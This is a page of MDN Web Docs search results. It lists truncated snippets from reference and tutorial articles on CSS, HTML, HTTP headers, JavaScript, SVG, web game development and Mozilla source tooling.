syntax the <image> data type can be represented with any of the following: an image denoted by the <url> data type a <gradient> data type a part of the webpage, defined by the element() function an image, image fragment or solid patch of color, defined by the image() function a blending of two or more images defined by the cross-fade() function.
... a selection of images chosed based on resolution defined by the image-set() function.
...) its intrinsic dimensions; (2) its specified size, defined by css properties like width, height, or background-size; and (3) its default size, determined by the kind of property the image is used with: kind of object (css property) default object size background-image the size of the element's background positioning area list-style-image the size of a 1em character border-image-source the size of the element's border image area cursor the browser-defined size matching the usual cursor size on the client's system mask-image ?
...And 5 more matches
linear-gradient() - CSS: Cascading Style Sheets
its result is an object of the <gradient> data type, which is a special kind of <image>.
...op, blue, red); /* color stop: a gradient going from the bottom to top, starting blue, turning green at 40% of its length, and finishing red */ linear-gradient(0deg, blue, green 40%, red); /* color hint: a gradient going from the left to right, starting red, getting to the midpoint color 10% of the way across the length of the gradient, taking the rest of the 90% of the length to change to blue */ linear-gradient(.25turn, red, 10%, blue); /* multi-position color stop: a gradient tilted 45 degrees, with a red bottom-left half and a blue top-right half, with a hard line where the gradient changes from red to blue */ linear-gradient(45deg, red 0 50%, blue 50% 100%); values <side-or-corner> the position of the gradient line's starting point.
... <linear-color-stop> a color-stop's <color> value, followed by one or two optional stop positions, (each being either a <percentage> or a <length> along the gradient's axis).
...And 5 more matches
overflow - CSS: Cascading Style Sheets
WebCSSoverflow
constituent properties this property is a shorthand for the following css properties: overflow-x overflow-y syntax /* keyword values */ overflow: visible; overflow: hidden; overflow: clip; overflow: scroll; overflow: auto; overflow: hidden visible; /* global values */ overflow: inherit; overflow: initial; overflow: unset; the overflow property is specified as one or two keywords chosen from the list of values below.
...no scrollbars are provided, and no support for allowing the user to scroll (such as by dragging or using a scroll wheel) is allowed.
... the content can be scrolled programmatically (for example, by setting the value of a property such as offsetleft), so the element is still a scroll container.
...And 5 more matches
<shape> - CSS: Cascading Style Sheets
WebCSSshape
the region represents the part of an element to which the clip property applies.
... note: <shape> and rect() work in conjunction with clip, which has been deprecated in favor of clip-path.
... syntax the <shape> data type is specified using the rect() function, which produces a region in the form of a rectangle.
...And 5 more matches
text-decoration - CSS: Cascading Style Sheets
this means that if an element specifies a text decoration, then a child element can't remove the decoration.
...the style rule em { text-decoration: none; } would not cause any change; the entire paragraph would still be underlined.
... values text-decoration-line sets the kind of decoration used, such as underline or line-through.
...And 5 more matches
text-justify - CSS: Cascading Style Sheets
text-justify: none; text-justify: auto; text-justify: inter-word; text-justify: inter-character; text-justify: distribute; /* deprecated value */ syntax the text-justify property is specified as a single keyword chosen from the list of values below.
... auto the browser chooses the best type of justification for the current situation based on a balance between performance and quality, but also on what is most appropriate for the language of the text (e.g., english, cjk languages, etc.).
... inter-word the text is justified by adding space between words (effectively varying word-spacing), which is most appropriate for languages that separate words using spaces, like english or korean.
...And 5 more matches
white-space - CSS: Cascading Style Sheets
syntax /* keyword values */ white-space: normal; white-space: nowrap; white-space: pre; white-space: pre-wrap; white-space: pre-line; white-space: break-spaces; /* global values */ white-space: inherit; white-space: initial; white-space: unset; the white-space property is specified as a single keyword chosen from the list of values below.
...newline characters in the source are handled the same as other white space.
...lines are only broken at newline characters in the source and at <br> elements.
...And 5 more matches
The Unicode Bidirectional Text Algorithm - Developer guides
the unicode® bidirectional algorithm (also known as the bidi algorithm) is part of the unicode text standard that describes how the user agent should order characters while rendering unicode text.
... in this guide, we'll take a look at the bidi algorithm and learn in general what it does and how it applies to your content, so that you'll be better prepared when using the features of html and css to which the algorithm applies while determining the order and directionality of text during rendering.
... fundamentals (base direction, character types, etc) the algorithm character level directionality directional runs (what they are, how base direction applies) handling neutral characters overriding the algorithm content about using html and css to override the default behavior of the algorithm; include info about isolating ranges etc.
...And 5 more matches
HTML attribute: readonly - HTML: Hypertext Markup Language
the readonly attribute is supported by text, search, url, tel, email, password, date, month, week, time, datetime-local, and number<input> types and the <textarea> form control elements.
... if present on any of these input types and elements, the :read-only pseudo class will match.
... if the attribute is not included, the :read-write pseudo class will match.
...And 5 more matches
<area> - HTML: Hypertext Markup Language
WebHTMLElementarea
the text should be phrased so that it presents the user with the same kind of choice as the image would offer when displayed without the alternative text.
... poly or polygon: the value is a set of x,y pairs for each point in the polygon: x1,y1,x2,y2,x3,y3, and so on.
... ping contains a space-separated list of urls to which, when the hyperlink is followed, post requests with the body ping will be sent by the browser (in the background).
...And 5 more matches
<form> - HTML: Hypertext Markup Language
WebHTMLElementform
permitted parents any element that accepts flow content implicit aria role form if the form has an accessible name, otherwise no corresponding role permitted aria roles search, none or presentation dom interface htmlformelement attributes this element includes the global attributes.
... accept-charset space-separated character encodings the server accepts.
... the browser uses them in the order in which they are listed.
...And 5 more matches
<isindex> - HTML: Hypertext Markup Language
WebHTMLElementisindex
when sent, the server would return a list of pages matching the query.
...the same behaviour can be achieved with an html form.
... action this attribute determined the server url to which the query was sent.
...And 5 more matches
<p>: The Paragraph element - HTML: Hypertext Markup Language
WebHTMLElementp
paragraphs are usually represented in visual media as blocks of text separated from adjacent blocks by blank lines and/or first-line indentation, but html paragraphs can be any structural grouping of related content, such as images or form fields.
...alternate separation methods, such as first-line indentation, can be achieved with css: html <p>separating paragraphs with blank lines is easiest for readers to scan, but they can also be separated by indenting their first lines.
... this is often used to take up less space, such as to save paper in print.</p> <p>writing that is intended to be edited, such as school papers and rough drafts, uses both blank lines and indentation for separation.
...And 5 more matches
accesskey - HTML: Hypertext Markup Language
the attribute value must consist of a single printable character (which includes accented and other characters that can be generated by the keyboard).
... note: in the whatwg spec, it says you can specify multiple space-separated characters, and the browser will use the first one it supports.
...indows linux mac firefox alt + shift + key on firefox 57 or newer: control + option + key or control + alt + key on firefox 14 or newer: control + alt + key on firefox 13 or older: control + key internet explorer alt + key alt + shift + key n/a edge n/a control + option + key control + option + shift + key google chrome alt + shift + key safari n/a opera 15+ alt + key control + alt + key opera 12 shift + esc opens a contents list which are accessible by accesskey, then, can choose an item by pressing key accessibility concerns in addition to poor browser support, there are numerous concerns with the accesskey attribute: an accesskey value can conf...
...And 5 more matches
tabindex - HTML: Hypertext Markup Language
it accepts an integer as a value, with different results depending on the integer's value: a negative value (usually tabindex="-1") means that the element is not reachable via sequential keyboard navigation, but could be focused with javascript or visually by clicking with the mouse.
...if multiple elements share the same positive tabindex value, their order relative to each other follows their position in the document source.
...doing so makes it difficult for people who rely on assistive technology to navigate and operate page content.
...And 5 more matches
Resource URLs - HTTP
there may also be large incompatibilities between implementations and the behavior may change in the future.
... resource urls, urls prefixed with the resource: scheme, are used by firefox and firefox browser extensions to load resources internally, but some of the information is available to sites the browser connects to as well.
... in this article, we focus on resource uris, which are used internally by firefox to point to built-in resources.
...And 5 more matches
Content-Encoding - HTTP
when present, its value indicates which encodings were applied to the entity-body.
... the recommendation is to compress data as much as possible and therefore to use this field, but some types of resources, such as jpeg images, are already compressed.
... header type entity header forbidden header name no syntax content-encoding: gzip content-encoding: compress content-encoding: deflate content-encoding: identity content-encoding: br // multiple, in the order in which they were applied content-encoding: gzip, identity content-encoding: deflate, gzip directives gzip a format using the lempel-ziv coding (lz77), with a 32-bit crc.
...And 5 more matches
Content-Security-Policy-Report-Only - HTTP
the csp report-uri directive should be used with this header, otherwise this header will be an expensive no-op machine.
...you observe how your site behaves, watching for violation reports, or malware redirects, then choose the desired policy enforced by the content-security-policy header.
...if the blocked uri is from a different origin than the document-uri, then the blocked uri is truncated to contain just the scheme, host, and port.
...And 5 more matches
Feature-Policy - HTTP
the http feature-policy header provides a mechanism to allow and deny the use of browser features in its own frame, and in content within any <iframe> elements in the document.
... this header is still in an experimental state, and is subject to change at any time.
...the header has now been renamed to permissions-policy in the spec, and this article will eventually be updated to reflect that change.
...And 5 more matches
Vary - HTTP
WebHTTPHeadersVary
the vary http response header determines how to match future request headers to decide whether a cached response can be used rather than requesting a fresh one from the origin server.
... it is used by the server to indicate which headers it used when selecting a representation of a resource in a content negotiation algorithm.
... directives * each request for a url is supposed to be treated as a unique and uncacheable request.
...And 5 more matches
Network Error Logging - HTTP
network error logging is a mechanism that can be configured via the nel http response header.
... this experimental header allows web sites and applications to opt-in to receive reports about failed (and, if desired, successful) network fetches from supporting browsers.
... usage web applications opt in to this behaviour with the nel header, which is a json-encoded object: nel: { "report_to": "nel", "max_age": 31556952 } an origin considered secure by the browser is required.
...And 5 more matches
Enumerability and ownership of properties - JavaScript
enumerable properties are those properties whose internal enumerable flag is set to true, which is the default for properties created via simple assignment or via a property initializer (properties defined via object.defineproperty and such default enumerable to false).
...ownership of properties is determined by whether the property belongs to the object directly and not to its prototype chain.
...there are a number of built-in means of detecting, iterating/enumerating, and retrieving object properties, with the chart showing below which are available.
...And 5 more matches
About the JavaScript reference - JavaScript
if you're learning javascript, or need help understanding some of its capabilities or features, check out the javascript guide.
... structure of the reference in the javascript reference you can find the following chapters: standard built-in objects this chapter documents all the javascript standard built-in objects, along with their methods and properties.
...multiple statements may occur on a single line if each statement is separated by a semicolon.
...And 5 more matches
arguments.callee - JavaScript
this is useful when the name of the function is unknown, such as within a function expression with no name (also called "anonymous functions").
...1 : arguments.callee(n - 1) * n; }); however, this was actually a really bad solution as this (in conjunction with other arguments, callee, and caller issues) make inlining and tail recursion impossible in the general case (you can achieve it in select cases through tracing, etc., but even the best code is suboptimal due to checks that would not otherwise be necessary.) the other major issue is that the recursive call will get a different this value, e.g.: var global = this; var sillyfunction = function(recursed) { if (!recursed) { return arguments.callee(true); } if (this !== global) { alert('this is: ' + thi...
...well, at any point in time you can find the deepest caller of any function on the stack, and as i said above looking at the call stack has one single major effect: it makes a large number of optimizations impossible, or much much more difficult.
...And 5 more matches
The arguments object - JavaScript
note: “array-like” means that arguments has a length property and properties indexed from zero, but it doesn't have array's built-in methods like foreach() or map().
...it has entries for each argument the function was called with, with the first entry's index at 0.
... for example, if a function is passed 3 arguments, you can access them as follows: arguments[0] // first argument arguments[1] // second argument arguments[2] // third argument each argument can also be set or reassigned: arguments[1] = 'new value'; the arguments object is not an array.
...And 5 more matches
Array.prototype.every() - JavaScript
syntax arr.every(callback(element[, index[, array]])[, thisarg]) parameters callback a function to test for each element, taking three arguments: element the current element being processed in the array.
... description the every method executes the provided callback function once for each element present in the array until it finds the one where callback returns a falsy value.
... if such an element is found, the every method immediately returns false.
...And 5 more matches
Array.prototype.slice() - JavaScript
syntax arr.slice([start[, end]]) parameters start optional zero-based index at which to start extraction.
... end optional zero-based index before which to end extraction.
...if a referenced object changes, the changes are visible to both the new and original arrays.
...And 5 more matches
Date.prototype.toLocaleString() - JavaScript
in older implementations, which ignore the locales and options arguments, the locale used and the form of the string returned are entirely implementation-dependent.
...in implementations, which ignore the locales and options arguments, the locale used and the form of the string returned are entirely implementation dependent.
... the default value for each date-time component property is undefined.
...And 5 more matches
Error.prototype.stack - JavaScript
the non-standard stack property of error objects offer a trace of which functions were called, in what order, from which line and file, and with what arguments.
... description each step will be separated by a newline, with the first part of the line being the function name (if not a call from the global scope), then by an at (@) sign, the file location (except when the function is the error constructor as the error is being thrown), a colon, and, if there is a file location, the line number.
...browsers using the v8 javascript engine (such as chrome, opera 15+, android browser) and ie10+, on the other hand, uses a different format (see the archived msdn error.stack docs).
...And 5 more matches
Function.prototype.apply() - JavaScript
argsarray optional an array-like object, specifying the arguments with which func should be called, or null or undefined if no arguments should be provided to the function.
... note: when the first argument is undefined or null a similar outcome can be achieved using the array spread syntax.
... since ecmascript 5th edition, you can also use any kind of object which is array-like.
...And 5 more matches
Promise.allSettled() - JavaScript
the promise.allsettled() method returns a promise that resolves after all of the given promises have either fulfilled or rejected, with an array of objects that each describes the outcome of each promise.
... it is typically used when you have multiple asynchronous tasks that are not dependent on one another to complete successfully, or you'd always like to know the result of each promise.
... in comparison, the promise returned by promise.all() may be more appropriate if the tasks are dependent on each other / if you'd like to immediately reject upon any of them rejecting.
...And 5 more matches
RegExp.prototype.test() - JavaScript
the test() method executes a search for a match between a regular expression and a specified string.
... syntax regexobj.test(str) parameters str the string against which to match the regular expression.
... returns true if there is a match between the regular expression and the string str.
...And 5 more matches
SharedArrayBuffer - JavaScript
unlike an arraybuffer, a sharedarraybuffer cannot become detached.
... var sab = new sharedarraybuffer(1024); worker.postmessage(sab); updating and synchronizing shared memory with atomic operations shared memory can be created and updated simultaneously in workers or the main thread.
... depending on the system (the cpu, the os, the browser) it can take a while until the change is propagated to all contexts.
...And 5 more matches
TypedArray.prototype.find() - JavaScript
see also the findindex() method, which returns the index of a found element in the typed array instead of its value.
... syntax typedarray.find(callback[, thisarg]) parameters callback function to execute on each value in the typed array, taking three arguments: element the current element being processed in the typed array.
... description the find method executes the callback function once for each element present in the typed array until it finds one where callback returns a true value.
...And 5 more matches
TypedArray.prototype.findIndex() - JavaScript
see also the find() method, which returns the value of a found element in the typed array instead of its index.
... syntax typedarray.findindex(callback[, thisarg]) parameters callback function to execute on each value in the typed array, taking three arguments: element the current element being processed in the typed array.
... description the findindex method executes the callback function once for each element present in the typed array until it finds one where callback returns a true value.
...And 5 more matches
TypedArray.prototype.indexOf() - JavaScript
the indexof() method returns the first index at which a given element can be found in the typed array, or -1 if it is not present.
... syntax typedarray.indexof(searchelement[, fromindex = 0]) parameters searchelement element to locate in the typed array.
... fromindex the index to start the search at.
...And 5 more matches
WebAssembly.Global - JavaScript
the value of the global is then changed, first to 42 using the global.value property, and then to 43 using the incglobal() function exported out of the global.wasm module (this adds 1 to whatever value is given to it and then returns the new value).
...got: ${got}<br>`; } asserteq("webassembly.global exists", typeof webassembly.global, "function"); const global = new webassembly.global({value:'i32', mutable:true}, 0); webassembly.instantiatestreaming(fetch('global.wasm'), { js: { global } }) .then(({instance}) => { asserteq("getting initial value from wasm", instance.exports.getglobal(), 0); global.value = 42; asserteq("getting js-updated value from wasm", instance.exports.getglobal(), 42); instance.exports.incglobal(); asserteq("getting wasm-updated value from js", global.value, 43); }); note: you can see the example running ...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 5 more matches
WebAssembly.Instance() constructor - JavaScript
the webassembly.instance() constructor creates a new instance object which is a stateful, executable instance of a webassembly.module.
... syntax important: since instantiation for large modules can be expensive, developers should only use the instance() constructor when synchronous instantiation is absolutely required; the asynchronous webassembly.instantiatestreaming() method should be used at all other times.
... importobject optional an object containing the values to be imported into the newly-created instance, such as functions or webassembly.memory objects.
...And 5 more matches
escape() - JavaScript
warning: although escape() is not strictly deprecated (as in "removed from the web standards"), it is defined in annex b of the ecma-262 standard, whose introduction states: … all of the language features and behaviours specified in this annex have one or more undesirable characteristics and in the absence of legacy usage would be removed from this specification.
...… the escape() function computes a new string in which certain characters have been replaced by a hexadecimal escape sequence.
... note: this function was used mostly for url queries (the part of a url following ?)—not for escaping ordinary string literals, which use the format "\xhh".
...And 5 more matches
globalThis - JavaScript
the global globalthis property contains the global this value, which is akin to the global object.
...unlike similar properties such as window and self, it's guaranteed to work in window and non-window contexts.
... in this way, you can access the global object in a consistent manner without having to know which environment the code is being run in.to help you remember the name, just remember that in global scope the this value is globalthis.
...And 5 more matches
parseInt() - JavaScript
or nan when the radix is smaller than 2 or bigger than 36, or the first non-whitespace character cannot be converted to a number.
... if parseint encounters a character that is not a numeral in the specified radix, it ignores it and all succeeding characters and returns the integer value parsed up to that point.
... because some numbers use the e character in their string representation (e.g.
...And 5 more matches
font-size-adjust - SVG: Scalable Vector Graphics
« svg attribute reference home the font-size-adjust attribute allows authors to specify an aspect value for an element that will preserve the x-height of the first choice font in a substitute font.
...resentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg width="600" height="80" viewbox="0 0 500 80" xmlns="http://www.w3.org/2000/svg"> <text y="20" font-family="times, serif" font-size="10px"> this text uses the times font (10px), which is hard to read in small sizes.
... </text> <text y="40" font-family="verdana, sans-serif" font-size="10px"> this text uses the verdana font (10px), which has relatively large lowercase letters.
...And 5 more matches
method - SVG: Scalable Vector Graphics
WebSVGAttributemethod
the method attribute indicates the method by which text should be rendered along the path of a <textpath> element.
... only one element is using this attribute: <textpath> textpath for <textpath>, method indicates the method by which text should be rendered along the path.
... value align | stretch default value align animatable yes align this value indicates that the characters should be rendered so that they are not stretched or warped.
...And 5 more matches
requiredExtensions - SVG: Scalable Vector Graphics
each extension is identified by an url reference.
... usage notes value <list-of-extensions> default value none animatable no <list-of-extensions> the value is a list of references (iri references in svg 1, url references in svg 2) which identify the required extensions, with the individual values separated by white space.
...if all of the given extensions are supported, then the attribute evaluates to true; otherwise, the current element and its children are skipped and thus will not be rendered.
...And 5 more matches
spreadMethod - SVG: Scalable Vector Graphics
defining a gradient's edges by default, a gradient reaches to the edges of the shape being filled.
... examples of spreadmethod with linear gradients svg <svg width="220" height="150" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="padgradient" x1="33%" x2="67%"> <stop offset="0%" stop-color="fuchsia"/> <stop offset="100%" stop-color="orange"/> </lineargradient> <lineargradient id="reflectgradient" spreadmethod="reflect" x1="33%" x2="67%"> <stop offset="0%" stop-color="fuchsia"/> <stop offset="100%" stop-color="orange"/> </lineargradient> <lineargradient id="repeatgradient" spreadmethod="repeat" x1="33%" x2="67%"> ...
... <stop offset="0%" stop-color="fuchsia"/> <stop offset="100%" stop-color="orange"/> </lineargradient> </defs> <rect fill="url(#padgradient)" x="10" y="0" width="200" height="40"/> <rect fill="url(#reflectgradient)" x="10" y="50" width="200" height="40"/> <rect fill="url(#repeatgradient)" x="10" y="100" width="200" height="40"/> </svg> result notice that the middle third of each gradient is the same.
...And 5 more matches
SVG: Scalable Vector Graphics
WebSVG
as such, it's a text-based, open web standard for describing images that can be rendered cleanly at any size and are designed specifically to work well with other web standards including css, dom, javascript, and smil.
... svg images and their related behaviors are defined in xml text files, which means they can be searched, indexed, scripted, and compressed.
... compared to classic bitmapped image formats such as jpeg or png, svg-format vector images can be rendered at any size without loss of quality and can be easily localized by updating the text within them, without the need of a graphical editor to do so.
...And 5 more matches
How to turn off form autocompletion - Web security
as website author, you might prefer that the browser not remember the values for such fields, even if the browser's autocomplete feature is enabled.
... it stops the browser from caching form data in the session history.
... when form data is cached in session history, the information filled in by the user is shown in the case where the user has submitted the form and clicked the back button to go back to the original form page.
...And 5 more matches
XPath
it can also be used to test addressed nodes within a document to determine whether they match a pattern or not.
... xpath is mainly used in xslt, but can also be used as a much more powerful way of navigating through the dom of any xml-like language document using xpathexpression, such as html and svg, instead of relying on the document.getelementbyid() or parentnode.queryselectorall() methods, the node.childnodes properties, and other dom core features.
... xpath uses a path notation (as in urls) for navigating through the hierarchical structure of an xml document.
...And 5 more matches
For Further Reading - XSLT: Extensible Stylesheet Language Transformations
« transforming xml with xslt print books xslt: programmer's reference, second edition author: michael h.
... kay length: 992 pages publisher: wrox; 2 edition (may 3, 2001) isbn: 0764543814 michael kay is a member of the w3c xsl working group and the developer of his own open-source xslt processor, saxon.
... he is also the author of the only book on this subject to have reached a second edition.
...And 5 more matches
Crisp pixel art look with image-rendering - Game development
this article discusses a useful technique for giving your canvas/webgl games a crisp pixel art look, even on high definition monitors.
... original size 4x size 4x size (scaled with an image editor) none vendor's algorithm nearest-neighbor algorithm a css-based solution the good news is that you can use css to automatically do the up-scaling, which not only solves the blur problem, but also allows you to use the images in their original, smaller size, thus saving download time.
... also, some game techniques require algorithms that analyse images, which also benefit from working with smaller images.
...And 4 more matches
Move the ball - Game development
technically, we will be painting the ball on the screen, clearing it and then painting it again in a slightly different position every frame to make the impression of movement — just like how movement works with the movies.
... defining a drawing loop to keep constantly updating the canvas drawing on each frame, we need to define a drawing function that will run over and over again, with a different set of variable values each time to change sprite positions, etc.
... you can run a function over and over again using a javascript timing function such as setinterval() or requestanimationframe().
...And 4 more matches
Paddle and keyboard controls - Game development
the ball is bouncing off the walls freely and you can watch it indefinitely, but currently there's no interactivity.
...the relevant variable in each case is set to true.
... most browsers use arrowright and arrowleft for the left/right cursor keys, but we need to also include right and left checks to support ie/edge browsers.
...And 4 more matches
Animations and tweens - Game development
the spritesheet() method's two extra paremeters determine the width and height of each single frame in the given spritesheet file, indicating to the program how to chop it up to get the individual frames.
... loading the animation next up, go into your create() function, find the line that loads the ball sprite, and below it put the call to animations.add() seen below: ball = game.add.sprite(50, 250, 'ball'); ball.animations.add('wobble', [0,1,0,2,0,1,0,2,0], 24); to add an animation to the object we use the animations.add() method, which contains the following parameters the name we chose for the animation an array defining the order in which to display the frames during the animation.
... tweens whereas animations play external sprites sequentially, tweens smoothly animate properties of an object in the gameworld, such as width or opacity.
...And 4 more matches
Randomizing gameplay - Game development
making rebounds more random we can change the ball's velocity depending on the exact spot it hits the paddle, by modifying the x velocity each time the ballhitpaddle() function is run using a line along the lines of the below.
... compare your code you can check the finished code for this lesson in the live demo below, and play with it to understand better how it works: summary you've finished all the lessons — congratulations!
...it's a basic intro scratching the surface of the countless helpful methods that phaser provides.
...And 4 more matches
Visual-js game engine - Game development
new link is : https://github.com/zlatnaspirala/visual-ts-game-engine basic licence rules : 1) each file in this project has its own license , be careful , do not violate the basic rules.
... 3) please read the following terms and conditions before using this application: disclaimer of warranty 'visual js' is provided "as-is" and without warranty of any kind, express, implied or otherwise, including without limitation, any warranty of merchantability or fitness for a particular purpose.
...http://creativecommons.org/licenses/by-nc-sa/3.0/ download from : https://www.adobe.com/devnet/archive/html5/articles/javascript-motion-detection.html webrtc - webcam communication is under : creator muaz khan www.muazkhan.com mit license - www.webrtc-experiment.com/licence socket.io.js - http://socket.io/download/ ( also implemented intro build.js ) webgl2 based on : copyright (c) 2014 tappali ekanathan keestu (keestu@gmail.com) gnu general public license obj loader : https://gi...
...And 4 more matches
CORS - MDN Web Docs Glossary: Definitions of Web-related terms
access-control-allow-headers used in response to a preflight request to indicate which http headers can be used when making the actual request.
... access-control-expose-headers indicates which headers can be exposed as part of the response by listing their names.
... access-control-max-age indicates how long the results of a preflight request can be cached.
...And 4 more matches
Client hints - MDN Web Docs Glossary: Definitions of Web-related terms
servers announce support for client hints using the accept-ch (accept client hints) header or an equivalent html meta element with the http-equiv attribute.
... accept-ch: dpr, width, viewport-width, downlink and / or <meta http-equiv="accept-ch" content="dpr, width, viewport-width, downlink"> when a client receives the accept-ch header, if supported, it appends client hint headers that match the advertised field-values.
... for example, based on accept-ch example above, the client could append dpr, width, viewport-width, and downlink headers to all subsequent requests.
...And 4 more matches
SEO - MDN Web Docs Glossary: Definitions of Web-related terms
seo (search engine optimization) is the process of making a website more visible in search results, also termed improving search rankings.
... search engines crawl the web, following links from page to page, and index the content found.
... when you search, the search engine displays the indexed content.
...And 4 more matches
UTF-8 - MDN Web Docs Glossary: Definitions of Web-related terms
utf-8 (ucs transformation format 8) is the world wide web's most common character encoding.
... each character is represented by one to four bytes.
... utf-8 is backward-compatible with ascii and can represent any standard unicode character.
...And 4 more matches
Unicode - MDN Web Docs Glossary: Definitions of Web-related terms
unicode is a standard character set that numbers and defines characters from the world's different languages, writing systems, and symbols.
... by assigning each character a number, programmers can create character encodings, to let computers store, process, and transmit any combination of languages in the same file or program.
...for example, one character set would store japanese characters, and another would store the arabic alphabet.
...And 4 more matches
Creating fancy letterheaded paper - Learn web development
in this assessment we'll challenge you to create an online template to achieve such a look.
... objective: to test comprehension of css box model, and other box-related features such as implementing backgrounds.
... alternatively, you could use a site like jsbin or glitch to do your assessment.
...And 4 more matches
Test your skills: Multicol - Learn web development
you will be working through three small tasks which use different elements of the material you have just covered.
... note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... multicol one in this task you need to create three columns, with a 50px gap between each column.
...And 4 more matches
Test your skills: position - Learn web development
you will be working through two small tasks which use different elements of the material you have just covered.
... note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... positioning one in this task you need to position the item with a class of target to the top and right of the container, which has the 5px grey border.
...And 4 more matches
Learn to style HTML using CSS - Learn web development
cascading stylesheets — or css — is the first technology you should start learning after html.
...this is because html is far more interesting and much more fun to learn when you apply css, and you can't really learn css without knowing html.
...you should have a basic work environment set up as detailed in installing basic software and understand how to create and manage files, as detailed in dealing with files — both of which are parts of our getting started with the web complete beginner's module.
...And 4 more matches
Test your skills: Basic controls - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... basic controls 2 the next task requires you to create working sets of checkboxes and radio buttons, from the provided text labels.
... turn the first <fieldset>'s contents into a set of radio buttons — you should only be able to select one pony character at once.
...And 4 more matches
Structuring a page of content - Learn web development
previous overview: introduction to html structuring a page of content ready for laying it out using css is a very important skill to master, so in this assessment you'll be tested on your ability to think about how a page might end up looking, and choose appropriate structural semantics to build a layout on top of.
... create the example on your local computer, or alternatively use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... project brief for this project, your task is to take the content for the homepage of a bird watching website and add structural elements to it so it can have a page layout applied to it.
...And 4 more matches
Assessment: Structuring planet data - Learn web development
note: alternatively, you could use a site like jsbin or glitch to do your assessment.
... project brief you are working at a school; currently your students are studying the planets of our solar system, and you want to provide them with an easy-to-follow set of data to look up facts and figures about the planets.
... the finished table should look like this: you can also see the example live here (no looking at the source code — don't cheat!) steps to complete the following steps describe what you need to do to complete the table example.
...And 4 more matches
Client-side web APIs - Learn web development
note: if you are working on a device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch.
... fetching data from the server another very common task in modern websites and applications is retrieving individual data items from the server to update sections of a webpage without having to load an entirely new page.
... in this article, we'll explain the concept, and look at technologies that make it possible, such as xmlhttprequest and the fetch api.
...And 4 more matches
Introducing JavaScript objects - Learn web development
here we teach object theory and syntax in detail, then look at how to create your own objects.
... note: if you are working on a computer/tablet/other devices where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch.
... object prototypes prototypes are the mechanism by which javascript objects inherit features from one another, and they work differently to inheritance mechanisms in classical object-oriented programming languages.
...And 4 more matches
JavaScript — Dynamic client-side scripting - Learn web development
get started prerequisites javascript is arguably more difficult to learn than related technologies such as html and css.
... before attempting to learn javascript, you are strongly advised to get familiar with at least these two technologies first, and perhaps others as well.
... javascript first steps in our first javascript module, we first answer some fundamental questions such as "what is javascript?", "what does it look like?", and "what can it do?", before moving on to taking you through your first practical experience of writing javascript.
...And 4 more matches
Multimedia: video - Learn web development
prerequisites: basic computer literacy, basic software installed, and basic knowledge of client-side web technologies.
... objective: to learn about the various video formats, their impact on performance, and how to reduce video impact on overall page load time while serving the smallest video file size based on each browsers file type support.
...the sections below describe each of these optimization techniques.
...And 4 more matches
Tools and testing - Learn web development
once you've started to become comfortable programming with core web technologies (like html, css, and javascript), and you start to get more experience, read more resources, and learn more tips and tricks, you'll start to come across all kind of tools, from javascript frameworks, to testing and automation tools, and more besides.
... as your web projects become larger and more complex, you'll want to start taking advantage of some of these tools, working out a reliable toolchain to give your development process superpowers.
... in addition, you should start with the first module in this topic, which gives a useful overview of the general area.
...And 4 more matches
omni.ja (formerly omni.jar)
firefox and thunderbird achieve performance improvements by moving many of their internal parts from being standalone files or sets of jar files into just one jar file called omni.ja; this reduces the amount of i/o needed to load the application.
... this article covers the contents of the archive and techniques for inspecting those contents.
...this change was needed to prevent firefox from becoming corrupted.
...And 4 more matches
Information for users
> help contents f1 > accessibility features) which describe any special features and keyboard shortcuts designed to help users with disabilities.
... please check the accessibility help topic for more information.
...features include assistive technology support on windows (like window-eyes, jaws, etc.), firefox keyboard support, available accessibility extensions like fire vox and other extensions.
...And 4 more matches
Index
the content you add to a listing is therefore vital: from making effective use of keywords in your descriptions, to get visibility in external search engine results, through having an icon that attracts a user’s attention from a category list, to screenshots that show how useful your add-on is.
...this signing process takes place through addons.mozilla.org (amo), whether you choose to distribute your add-on through amo or to do it yourself.
... 680 resources for publishers add-ons, extensions, distribution, publication now your add-on is published on amo, check out the following resources: 681 retiring your extension extensions, webextension, end-of-life, publication there may be occasions where you want to retire one of your extensions.
...And 4 more matches
Frequently Asked Questions for Lightweight themes
lightweight themes are easy-to-install, easy-to-use skins that change the look of your firefox web browser.
... there are hundreds of thousands community-designed themes to choose from, with more added every day.
... lightweight themes change the header area of your browser, including the tab text color and the background tab colors.
...And 4 more matches
Debugging JavaScript
it should give pointers to tools, aids and tricks which make debugging your code easier.
...to enable it, go to about:config in the url bar and set devtools.chrome.enabled to true, or set the "enable chrome and add-on debugging" option in the developer tool settings.
... you can also start the browser console when you launch firefox, by launching firefox from the command line and passing --jsconsole as a flag: /path/to/firefox --jsconsole log to the browser console using the standard console api after importing console.jsm: let console = (cu.import("resource://gre/modules/console.jsm", {})).console; console.log("hello from firefox code"); error console this is obsolete and is no longer enabled in firefox by default.
...And 4 more matches
Debugging
fortunately, over the years, mozilla developers have come up with not just technologies and features to help you debug code, but have devised tips and techniques that can help too.
... advanced debugging techniques understanding crash reports how to read crash reports, which are full of information yet often not easy to interpret and act on.
... debugging a minidump windows crash reports include a minidump, which contains a lot of information about the application when it crashed.
...And 4 more matches
Working with Mozilla source code
the articles below will help you get your hands on the mozilla source code, learn to navigate the code, and how to get the changes you propose checked into the tree.
... getting a pre-configured mozilla build system virtual machine this is the easiest way to get started: use a virtualbox virtual machine which is already configured with a complete build environment for you to use.
... viewing and searching mozilla source code online learn how to use searchfox, mozilla's online search and browsing tool for accessing the source code.
...And 4 more matches
Index
3 building firefox with rust code build documentation, gecko, build, rust in may 2015 the rust programming language reached its 1.0 stability milestone, and various experiments with writing parts of gecko in rust began.
